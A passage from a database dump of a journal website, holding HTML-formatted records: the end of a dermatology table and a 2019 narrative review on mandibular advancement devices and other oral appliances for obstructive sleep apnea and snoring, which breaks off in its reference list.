style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.632</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Other toxidermia</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7 (1.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (0.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.132</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Molluscumcontagiosum</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:78.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (1.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.3pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (0.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.346</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table VIII:</strong> Distribution of the different etiological diagnoses according to the seasons.</span></span></p>\r\n','1552799939.pdf',NULL,'1551252467.jpg','',0,1,'2019-02-27 12:57:47','2019-03-17 10:48:59',1),(40,15,'20','2019','Dentistry Point of View in the Obstructive Sleep Apnea and Snoring Patients: An Overview','Mohamed AM1,2*, Yan Yang3*','Research Article','Dentistry-Point-of-View-in-the-Obstructive-Sleep-Apnea-and-Snoring-Patients-An-Overview','Dentistry Point of View in the-Obstructive-Sleep-Apnea-and-Snoring-Patients-An-Overview','Dentistry-Point-of-View-in-the-Obstructive Sleep Apnea and Snoring-Patients-An-Overview','Dentistry-Point-of-View-in-the-Obstructive-Sleep-Apnea-and-Snoring-Patients-An-Overview','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Dentistry and Dental Ailments Journal</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Dentistry Point of View in the Obstructive Sleep Apnea and Snoring Patients: An Overview</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Mohamed AM<sup>1,2*</sup>, Yan Yang<sup>3*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Orthodontic Master Resident, Department of Stomatology, Zhongnan Hospital, Wuhan University, Wuhan, China</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2 </sup>Demonstrator, Department of Dental Materials, Suez-Canal University, Ismailia, Egypt</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>3</sup>Professor of Orthodontics, Department of Stomatology, Zhongnan Hospital, Wuhan University, Wuhan, China</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding authors:</strong> 1. Abdelrahman Mohamed, Orthodontic Master Resident, Department of Stomatology, Zhongnan Hospital, Wuhan University, Wuhan, Hubei 430000, China, Tel: +8615549448756; Email: <a href=\"mailto:Abdelrahman@dent.suez.edu.eg\">Abdelrahman@dent.suez.edu.eg</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2. Yang Yan, Professor of Orthodontics, Department of Stomatology, Zhongnan Hospital, Wuhan University, Wuhan, Hubei 430000, China, Tel: +8613907172703; Email: <a href=\"mailto:yangyan209@whu.edu.cn\">yangyan209@whu.edu.cn</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Mohamed AM, Yang Y (2019) Dentistry Point of View in the Obstructive Sleep Apnea and Snoring Patients: An Overview. Dent Ailments J: DDAJ-100001</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>08 February, 2019; <strong>Accepted Date: </strong>14 February, 2019; <strong>Published Date: </strong>09 March, 2019</span></p>\r\n','<p><strong><span style=\"font-size:10.0pt\">1. Abstract</span></strong></p>\r\n\r\n<p><strong><span style=\"font-size:10.0pt\">1.1. Aim: </span></strong><span style=\"font-size:10.0pt\">This paper presents a narrative overview of the dentistry point of view to the Sleep apnea and snoring. In addition, to answer a question which is: can dental practitioners prevent or even improve the sleep apnea and snoring using oral appliances?</span></p>\r\n\r\n<p><strong><span style=\"font-size:10.0pt\">1.2. Methods: </span></strong><span style=\"font-size:10.0pt\">We used PubMed (https://www.ncbi.nlm.nih.gov/pubmed) to collect the data about this aspect using key words: </span><span style=\"font-size:10.0pt\">Obstructive Sleep Apnea, Snoring, Oral Appliances.</span></p>\r\n\r\n<p><strong><span style=\"font-size:10.0pt\">1.3. Results and Conclusions:</span></strong><span style=\"font-size:10.0pt\"> Oral appliances that can designed by dentist has proved as a useful line in the treatment of snoring and OSA with least side effect and noninvasive especially in a normal person with simple snoring without any systemic illness. Also, combining Oral Appliances with other line of treatment can provide a higher level of success than either used alone.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords</strong>: Obstructive Sleep Apnea; Oral Appliances; Snoring</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Snoring is defined as a sound produced during sleeping when an individual breath due to the turbulence of air passing through the partially obstructed airway. It is considered as one of the most common simplest clinical symptoms of Obstructive Sleep Apnea (OSA) [1]. Snoring may result in excessive daytime sleepiness, loss of concentration, and psychological disturbances that may eventually cause deterioration of the patient life quality unless treated [2]. Sleep apnea and snoring is not a benign symptom. It is associated with an increased risk of hypertension, cardiac arrhythmias, and mortality [2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Many craniofacial features and malocclusions were reported to be associated with snoring. For example; narrow airway at the level of the soft palate and oropharynx, more inferiorly positioned hyoid bone, more protruding maxilla, anterior-posterior discrepancy of maxilla and mandible, Class II malocclusion, increase in over-jet, narrower upper, and shorter lower dental arch and crowding in the mandibular arch [3-5]. Many treatments have been suggested for obstructive sleep apnea (OSA) which can be Continuous Positive Airway Pressure (CPAP), surgery or mandibular advancement by using oral appliances [6]. Shokri et al. [7] Compared the pharyngeal airway volume in different skeletal facial patterns using cone beam computed tomography, and they found that there are a significant correlation exists between the skeletal facial pattern and upper airway dimensions. The total airway volume and the mean airway area of class III patients were larger than those in class II patients. This may give idea of that correcting the underlying malocclusion can positively improve the airway volume and subsequently improve the Sleep apnea and snoring.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Another pilot study in 2018 made by Zhao et al. [8] to evaluate the impact of pediatric obstructive sleep apnea on the development of Class II hyper divergent. They found that: presence of OSA in pediatric patients has a vital effect on the development of hyper divergent malocclusions and early diagnosis and management of pediatric OSA patients can affect the orthodontic treatment outcome of them.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Aim</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The aim of treatment obstructive sleep apnea and it is related snoring by the using of oral appliances designed by dentists is to improve the patient&rsquo;s live and sleep quality as well as that of the relatives or roommates, by reducing or eliminating snoring and respiratory pauses during sleep.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Methods for Preparing the Review</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">We used PubMed Data base (https://www.ncbi.nlm.nih.gov/pubmed) to collect papers and data about this aspect using key words: Obstructive Sleep Apnea, Snoring, Oral Appliances.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.1. Treatment Options for obstructive sleep apnea and / or Snoring</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">1. Surgical interventions (Invasive) [9].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2. Conservative noninvasive measures including:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">a. Lifestyle modifications [10]</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">b. Drug control</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">c. Continuous Positive Airway Pressure (CPAP) [11].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">d. Oral Appliances (OAs).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.&nbsp;</strong><strong>Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Surgical intervention by adeno-tonsillectomy was the most common treatment for Obstructive Sleep Apnea (OSA) in childhood. Because of its surgical risks and recurrence that can be associated with craniofacial problems, there was a continuous searching for another line of treatment [12]. Using a drug as losartan and allopurinol for patients suffering from OSA in conjunction with other line of treatment can augment the effect of it specially in patient with raised blood pressure but can&rsquo;t use as isolated treatment way [13].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Continuous Positive Airway Pressure (CPAP) considered as a gold standard treatment for OSA and snoring [11] but it is not well tolerated by patients, due to problems related with nasal airways, mouth leak and general discomfort from the mask and headgear [14,15]. Therefore, for these patients, other alternatives will be better. Oral appliance provides a non-invasive, non-permanent method for addressing the obstruction at specific points within the upper airway [16]. There are many designs of intraoral devices with different sites of action that shown an impact treatment efficacy [17,18]. Mandibular Advancement Devices (MADs) are more effective than other types of OAs [17,19] and are the most commonly used for treating OSA [17,20] Figure 1.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.1. Mechanism of action of Mandibular Advancement Devices MAD</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The American Sleep Disorders Association [21] defines MAD as a device introduced to the mouth and modifies the position of jaw, tongue and other supporting structures for the treatment of snoring and OSA. They considered it as a first choice in simple snorers, mild OSA cases, mild to moderate OSA with low body mass index, and patients suffering from the syndrome of increased resistance of the upper airway. Second choice for patients who do not improve or cannot tolerate positive pressure devices, patients at high surgical risk and who react badly to surgical treatment.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mandibular advancement device MAD functions by protruding and stabilizing the mandible in order to maintain a patent airway during sleep [22]. As reported in previous studies, MAD advancement of mandible resulting in either of these actions:</span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Changes in the anteroposterior width of the upper airway, and positions of the hyoid bone and the third cervical vertebra [23].</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Increase in the lateral dimension of the velopharynx greater than the increase in the anteroposterior dimension [24] Figure 2.</span></li>\r\n</ol>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.2. Types of MAD</strong></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Custom made adjustable MAD.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Prefabricated nonadjustable MAD.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Tongue-retaining device (lower compliance than the MAD, but best choice for significantly or partially edentulous patients) [25]</span></li>\r\n</ol>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Studies support that custom made (adjustable) MAD are more efficient to prefabricated (nonadjustable) alternatives [26,27].</span></p>\r\n\r\n<ol start=\"4\">\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Any oral appliances have the same effect of mandibular advancement. e.g.: twin block and anterior bite plane. (still need more investigations about it effect in the short and long run).</span></li>\r\n</ol>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.3.&nbsp;</strong><strong>Efficacy</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">MAD is useful in reducing the obstructive sleep apnea and snoring, but with lower effectiveness compared with continuous positive airway pressure (CPAP) [26,28,29] and higher complain rate than CPAP [29,30]. Moreover, the custom-made MAD were more effective compared pre-fabricated one.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.4. Side Effects</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Usually mild and transient side effects that resolve within several days. It can be divided to two categories:</span></p>\r\n\r\n<ol style=\"list-style-type:upper-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Short run side effects </span></li>\r\n</ol>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Temporomandibular joint (TMJ) discomfort </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Myofascial pain</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Tooth tenderness</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Excessive or decreased salivation</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gingival irritation </span></li>\r\n</ol>\r\n\r\n<ol start=\"2\" style=\"list-style-type:upper-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Long-term MAD use may lead to dental and skeletal side effects that include:</span></li>\r\n</ol>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Decreasing overjet and overbite</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Retroclination of the maxillary incisors</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Proclination of the mandibular incisors</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Increases in mandibular angle and anterior facial height</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Anteroposterior change in occlusion [31].</span></li>\r\n</ol>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7. Conclusion</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Mandibular advancement device MAD that can designed by dentist has proved as a useful device in the treatment of snoring and OSA with least side effect and noninvasive especially in a normal person with simple snoring without any systemic illness. Recent studies have suggested that combining MAD with CPAP and can provide a higher level of success than either used alone [32].</span></p>\r\n','<p style=\"text-align:justify\">1.&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pubmed/18567418\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Chuang LP, Hsu SC, Lin SW, Ko WS, Chen NH, et al. (2008) Prevalence of snoring and witnessed apnea in Taiwanese adults. Chang Gung Med J 31: 175-181.</span></span></a></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">2. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tandfonline.com/doi/abs/10.3200/JACH.57.1.45-52\">Patel M, Tran D, Chakrabarti A, Vasquez A, Gilbert P, et al. (2008) Prevalence of Snoring in College Students. Journal of American College Health 57: 45-52.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">3. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/18200785\">Banabilh SM, Suzina AH, Dinsuhaimi S, Singh GD (2007) Cranial base and airway morphology in adult malays with obstructive sleep apnoea. AustOrthod J 23: 89-95.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">4. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.angle.org/doi/10.2319/011509-26.1\">Banabilh SM, Samsudin AR, Suzina AH, Dinsuhaimi S (2010) Facial Profile Shape, Malocclusion and Palatal Morphology in Malay Obstructive Sleep Apnea Patients. The Angle Orthodontist 80:37-42.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">5. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://academic.oup.com/ejo/article/31/2/160/467349\">Pirila-Parkkinen K, Pirttiniemi P, Nieminen P, Tolonen U, Pelttari U, et al. (2009) Dental arch morphology in children with sleep-disordered breathing. The European Journal of Orthodontics 31: 160-167.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">6. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19451462\">Lee CH, Mo JH, Choi IJ, Lee HJ, Seo BS, et al.(2009) The mandibular advancement device and patient selection in the treatment of obstructive sleep apnea. Archives of Otolaryngology&ndash;Head &amp; Neck Surgery 135: 439-444.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">7. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6203907/\">Shokri A, Miresmaeili A, Ahmadi A, Amini P, Falah-kooshki S (2018) Comparison of pharyngeal airway volume in different skeletal facial patterns using cone beam computed tomography. Journal of Clinical and Experimental Dentistry 10: 1017-1028.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">8. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/29782200\">Zhao T, Ngan P, Hua F, Zheng J, Zhou S, et al. (2018) Impact of pediatric obstructive sleep apnea on the development of Class II hyperdivergent patients receiving orthodontic treatment: A pilot study. The Angle Orthodontist 88: 560-566.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">9. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/26957384\">Wolfe RM, Pomerantz J, Miller DE, Weiss-Coleman R, Solomonides T (2016) Obstructive sleep apnea: preoperative screening and postoperative care. The Journal of the American Board of Family Medicine 29:263-275.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">10. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/29793390\">Zhang M, Liu Y, Liu Y, Yu F, Yan S, et al. (2018) Effectiveness of oral appliances versus continuous positive airway pressure in treatment of OSA patients: An updated meta-analysis. CRANIO 24: 1-18.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">11. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/17286716\">Elshaug AG, Moss JR, Southcott AM, Hiller JE (2007) An analysis of the evidence?practice continuum: is surgery for obstructive sleep apnoea contraindicated?. Journal of evaluation in clinical practice 13:3-9.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">12. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/25407135\">Burton MJ, Glasziou PP, Chong LY, Venekamp RP (2014) Tonsillectomy or adenotonsillectomy versus non-surgical treatment for chronic/recurrent acute tonsillitis. Cochrane Database of Systematic Reviews 19: CD001802.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">13. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/29750475\">Morgan BJ, Teodorescu M, Pegelow DF, Jackson ER, Schneider DL, et al. (2018) Effects of losartan and allopurinol on cardiorespiratory regulation in obstructive sleep apnoea. Experimental Physiology 103:941-955.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">14. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.sciencedirect.com/science/article/pii/S1808869415302299\">Camacho M, Certal V, Capasso R (2013) Comprehensive review of surgeries for obstructive sleep apnea syndrome. Brazilian journal of otorhinolaryngology 79: 780-788.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">15. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/26624827\">Bratton DJ, Gaisl T, Wons AM, Kohler M (2015) CPAP vs mandibular advancement devices and blood pressure in patients with obstructive sleep apnea: a systematic review and meta-analysis. Jama 314: 2280-2293.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">16. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/26773412\">Okuno K, Pliska BT, Hamoda M, Lowe AA, Almeida FR (2016) Prediction of oral appliance treatment outcomes in obstructive sleep apnea: A systematic review. Sleep Medicine Reviews 30: 25-33.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">17. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15187032\">Hoekema A, Stegenga B, De Bont LG (2004) Efficacy and co-morbidity of oral appliances in the treatment of obstructive sleep apnea-hypopnea: a systematic review. Critical Reviews in Oral Biology &amp; Medicine 15:137-155.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">18. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15495109\">Lim J, Lasserson TJ, Fleetham J, Wright JJ (2006) Oral appliances for obstructive sleep apnoea. Cochrane Database of Systematic Reviews 18: CD004435.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">19. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/23074535\">Health Quality Ontario (2009) Oral appliances for obstructive sleep apnea: an evidence-based analysis. Ontario Health Technology Assessment Series 9:1-51.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">20. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/24533007\">Sutherland K, Vanderveken OM, Tsuda H, Marklund M, Gagnadoux F, et al. (2014) Oral appliance treatment for obstructive sleep apnea: an update. Journal of Clinical Sleep Medicine 10:215-227.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">21. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://link.springer.com/chapter/10.1007%2F978-3-642-01697-4_121\">Cobo JM, de Carlos F, Su&aacute;rez AA (2009) Mandibular Advancement Device (MAD&reg;) to Treat SleetApnoea-Hypopnoea Syndrome and Chronic Snoring. In: McGoron AJ, Li C-Z, Lin W-C (ed.). 25th Southern Biomedical Engineering Conference 2009, 15-17 May 2009, Miami, Florida, USA. Berlin, Heidelberg: Springer Berlin Heidelberg Pg No: 349-354.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">22. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://aadsm.org/docs/JDSM.1.1.39.pdf\">Scherr SC, Dort LC, Almeida FR, Bennett KM, Blumenstock NT, et al. (2014) Definition of an Effective Oral Appliance for the Treatment of Obstructive Sleep Apnea and Snoring: A Report of the American Academy of Dental Sleep Medicine. Journal of Dental Sleep Medicine 1: 39-50.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">23. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/11480653\">Tsuiki S, Hiyama S, Ono T, Imamura N, Ishiwata Y, et al. (2001) Effects of a Titratable Oral Appliance on Supine Airway Size in Awake Non-Apneic Individuals. Sleep 24: 554-560.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">24. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/10525554\">Ryan CF, Love LL, Peat D, Fleetham JA, Lowe AA (1999) Mandibular advancement oral appliance therapy for obstructive sleep apnoea: effect on awake calibre of the velopharynx. Thorax 54: 972-977.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">25. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19480232\">Deane SA, Cistulli PA, Ng AT, Zeng B, Petocz P, et al. (2009) Comparison of mandibular advancement splint and tongue stabilizing device in obstructive sleep apnea: a randomized controlled trial. Sleep 32: 648-653.</a></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">26. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21055596\">Ahrens A, McGrath C, H&auml;gg U (2010) Subjective efficacy of oral appliance design features in the management of obstructive sleep apnea: A systematic review. American Journal of Orthodontics and 